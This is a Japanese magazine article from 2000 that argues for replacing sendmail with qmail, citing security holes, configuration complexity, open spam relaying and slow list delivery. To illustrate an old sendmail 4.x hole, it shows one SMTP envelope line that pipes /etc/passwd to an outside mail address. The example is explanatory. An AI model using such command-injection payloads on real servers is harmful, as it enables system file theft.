sendmail は，最も有名であり，長い歴史を持ち， 最も多くのサイトで利用されている MTA である。 1983 年 4 月に初めて世に出たsendmail は， あらゆる種類のネットワーク間でメールをやりとりするためにどんどん拡張された。 どんなネットワークであろうと， たった1 つの設定ファイル「sendmail.cf」で sendmail の動作を指定できる極めて柔軟性の高いソフトウエアに成長した。
sendmail は， ネットワーク管理者のどのようなニーズにも応えてくれたため， 多くのサイトで採用された。 今日風の言い方をすればデファクト・スタンダードとなったのである。 ところが時代を下って， インターネットが他のネットワークを駆逐してしまった今日では， sendmail の柔軟性は無用のものとなっている。 もはや使われなくなったネットワークに対応できても嬉しいことは何もなく， 逆に多機能であるが故の複雑さが問題となっているのである。
しかし，sendmail 利用人口が多いので， 分からないことがあっても質問できるだろう， という安心感からか sendmail を採用するサイトの数はあまり減っていない。 前任者が sendmail を使っていたから惰性で sendmail を使い続けているという管理者も多いと思われる。
そこで，sendmail の問題点を明らかにし， この問題点を解決するMTA ――qmail ――への移行を推奨するのが本稿の目的である。
sendmail の問題点を列挙すると次のようになる。
以上は，sendmail の複雑性に由来する問題点であり， sendmail が現代のニーズに適合していないことに由来する問題点でもある。 さらに，これらの問題を解決しようとして， ますます複雑さが増すという悪循環に陥っている。 以下，それぞれの問題を説明する。
sendmail の歴史はセキュリティ・ホールとの戦いの歴史でもある。 致命的なセキュリティ・ホールが最近のバージョン (例えば8.8.2) でも発見されている。 いつまでたっても枯れないのは sendmail が複雑だからである。 しかも，セキュリティ・ホールをふさぐために，どんどんコードが書き加えられ， ますます複雑さの度合いが増している。
例として， かつて有名だったセキュリティ・ホールを紹介する。 sendmail 4.x などでは， エンベロープ送信者および受信者を次のように設定することで， 外部から任意のコマンドを sendmail に実行させることができた。
MAIL FROM:<"|/bin/cat /etc/passwd | /usr/ucb/mail sengoku@gcd.org"> RCPT TO:<never-existing-recipient@gcd.org>
すなわち，受信者不明で送信者にエラー・メールが返るのだが， 送信者のアドレスが， 「│」で始まっているために エラー・メールを送る代わりに「│」以下が実行されてしまう。
なぜこのようなセキュリティ・ホールがあったかというと， sendmail ではあて先アドレスの代りにプログラムやファイルを指定できる， という基本構造になっているからである。 アドレスが「│」で始まっていればプログラムを実行し， 「/」で始まっていればファイルに書込む。
もちろん，任意のプログラムを実行したり， 任意のファイルへ書込まれたりしては困るので， 受信者ユーザーの権限で実行や書き込みが可能か調べなければならないのだが， そのためにはかなり複雑な処理が必要になる。 複雑であるが故にすべてのケースを想定することは困難であり， 上述の例で言えば 送信者アドレスがプログラムであるケースを見落としていたのだろう。
sendmail の設定ファイルである sendmail.cf の複雑さは だれもが認めるところであろう。 なぜこんなに複雑なのか。 それは sendmail.cf が万能だからである。 あらゆる種類のネットワーク間でメールをやりとりする方法を指定できるだけでなく， 迷惑メール対策 (後述) もすべてこの sendmail.cf だけで可能である。
何でもできる設定ファイルは， 何をするにも難しい。 設定できることが限られていれば， その限られた範囲の設定をするのは簡単になる。 これは万能な汎用言語と特定用途向けの簡易言語との関係に似ている。 前者の習得が困難であるのに対し，後者は容易に習得できる。
万能である sendmail.cf を手作業で一から書くには， かなりのスキルが要求されるので， CF や cf.m4 等の設定ツールを使っている管理者が多いことだろう。 普通にインターネット上で sendmail を使うだけなら， ほとんどデフォルトの設定を使うことができるので， sendmail.cf の詳細を理解しなくても使うことはできる。
うまく動いているときはそれでもいい。 しかし，いったんトラブルが起こるとお手上げである。 設定ツールが作り出した sendmail.cf に何が書いてあるか理解できなければ， sendmail の動作が理解できるはずはなく， 途方に暮れてしまうことだろう。 管理者たるものトラブル発生時に問題の切り分けができる程度には， すべてのソフトウエアを理解しているべきである。
sendmail が世に出た当時は想像もできなかったであろう問題が， 受信者が求めてもいないのに送りつけられる迷惑メールである。 UBE (Unsolicited Bulk Email)， UCE (Unsolicited Commercial Email)， あるいはネット・ニュースとの類推から SPAM メールとも呼ばれる。
インターネットが性善説で運営されていた時代は， 自分のサイトあてでないメールが届いたら， それを正しいあて先へ届けてあげるのが， お互いに助け合うサイトとして当然であった。 ところがインターネットの普及に伴い， 宣伝目的のダイレクト・メールを大量に送り付ける輩 (やから) が登場した。 各サイトは自衛のため， こうした迷惑メール送信者からの SMTP 接続を拒否するようになる。 すると彼らは善意の中継システムを悪用するようになった。 すなわち，直接あて先のMTA へSMTP 接続する代わりに， 中継してくれる SMTP サーバーに接続して メールの配送を代行してもらうようになったのである。
この場合， あて先のサイトがSMTP 接続を拒否したとしても， それは中継サーバーからの接続に過ぎず， 別の中継サーバーを使われれば防ぐことはできない。 迷惑メール送信者たちは， 新しい中継サーバーを見つけ出しては， 次々と「代行先」を乗り換えていく。 したがってSMTP サーバーの管理者は， 悪用されないように 不特定多数からの中継要求は拒否するよう設定しなければならない (図 4)。
|
|
| 図 4 迷惑メールの中継を許す SMTP サーバー |
確かに sendmail でも中継を拒否するように設定することはできる。 しかしそれは sendmail が極めて柔軟性が高いからそのように設定できる， というだけであって sendmail の基本はあくまで中継することにある。 中継を拒否するには複雑怪奇な sendmail.cf をきちんと設定しなければならない。 昔から使い続けてきた sendmail.cf を流用したりすると， 何でも中継する羽目になってしまうだろう。
さて， 中継を防ぐことができれば迷惑メールを他のサイトへばらまくことは回避できるが， 自サイトに飛び込んでくる迷惑メールは そのまま受信者のメール・ボックスに届いてしまう。 したがって，迷惑メールをばらまくことで悪名高いサイトや， 悪用されている中継サーバーからの SMTP 接続を拒否しなければならない。
これも sendmail.cf を適切に設定することができれば可能である。 しかし，sendmail.cf を使いこなすスキルがなければ，絵に書いた餅である。
メーリング・リストが流行である。 多人数に同報したいときはネット・ニュースの仕掛けの方が適しているのであるが， ネット・ニュースの衰退に伴い 多人数のメンバーからなるメーリング・リストが急増している。 もはや1000 人以上の規模を誇るメーリング・リストは珍しくない。
ところが sendmail は一通のメールを1000 人に同報しようとすると， 極めて長い時間がかかる。 1 通のメール当たり， 1 度にSMTP 接続できる MTA は 1 つに限られていて， その送信が完了するか， あるいはタイム・アウトでエラーにならないと 次のあて先 MTA へ接続できないからである。 ネットワーク的に遠いあて先など， 送信に時間がかかるあて先が多いと， メーリング・リストのメンバー全員に送り終わるまでに数時間かかることもある。
sendmail の配送性能の悪さを補うために， smtpfeed などのソフトウエアが開発されているが， ただでさえ複雑な sendmail に加えて smtpfeed の設定も行なうのは， 管理者にとって負担が大きい。
本稿は日経Linux 2000 年 3 月号に掲載された、 特集 2: 高性能メール配送エージェント qmail 徹底活用, Part 1「sendmail を捨て, qmail に乗り換える ---qmail の仕組みから設定管理, 迷惑メール対策まで---」を日経BP 社の許可を得て転載したものです。
Copyright(C)2000 by 仙石浩明 <sengoku@gcd.org>
無断転載を禁じます